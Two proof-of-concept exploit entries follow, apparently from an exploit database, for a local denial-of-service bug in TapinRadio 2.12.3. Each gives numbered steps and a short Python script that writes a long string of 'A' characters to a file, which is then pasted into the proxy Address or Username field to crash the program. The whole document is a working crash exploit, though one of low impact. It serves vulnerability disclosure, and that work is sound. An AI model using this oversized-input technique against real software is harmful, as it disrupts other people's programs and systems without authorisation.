# Exploit Title: TapinRadio 2.12.3 - 'address' Denial of Service (PoC) # Discovery by: chuyreds # Discovery Date: 2020-02-05 # Vendor Homepage: http://www.raimersoft.com/rarmaradio.html # Software Link : http://www.raimersoft.com/downloads/tapinradio_setup_x64.exe # Tested Version: 2.12.3 # Vulnerability Type: Denial of Service (DoS) Local # Tested on OS: Windows 10 Pro x64 es #Steps to produce the crash: #1.- Run python code: tapinadio_address.py #2.- Open tapin_add.txt and copy content to clipboard #3.- Open TapinRadio #4.- Select "Settings" > "Preferences" > "Miscellaneous" #5.- Select "Set Application Proxy..."" In "Address" field paste Clipboard #6.- In Port type "444" > "Username" type "test" > Password type "1234" #7.- Select "OK" and "OK" #8.- Crashed cod = "\x41" * 3000 f = open('tapin_add.txt', 'w') f.write(cod) f.close() # Exploit Title: TapinRadio 2.12.3 - 'username' Denial of Service (PoC) # Discovery by: chuyreds # Discovery Date: 2020-02-05 # Vendor Homepage: http://www.raimersoft.com/rarmaradio.html # Software Link : http://www.raimersoft.com/downloads/tapinradio_setup_x64.exe # Tested Version: 2.12.3 # Vulnerability Type: Denial of Service (DoS) Local # Tested on OS: Windows 10 Pro x64 es #Steps to produce the crash: #1.- Run python code: tapinadio_user.py #2.- Open tapin_user.txt and copy content to clipboard #3.- Open TapinRadio #4.- Select "Settings" > "Preferences" > "Miscellaneous" #5.- Select "Set Application Proxy..."" In "Username" field paste Clipboard #6.- In Server type "1.1.1.1" > Port type 444 > Password type "1234" #7.- Select "OK" and "OK" #8.- Crashed cod = "\x41" * 10000 f = open('tapin_user.txt', 'w') f.write(cod) f.close()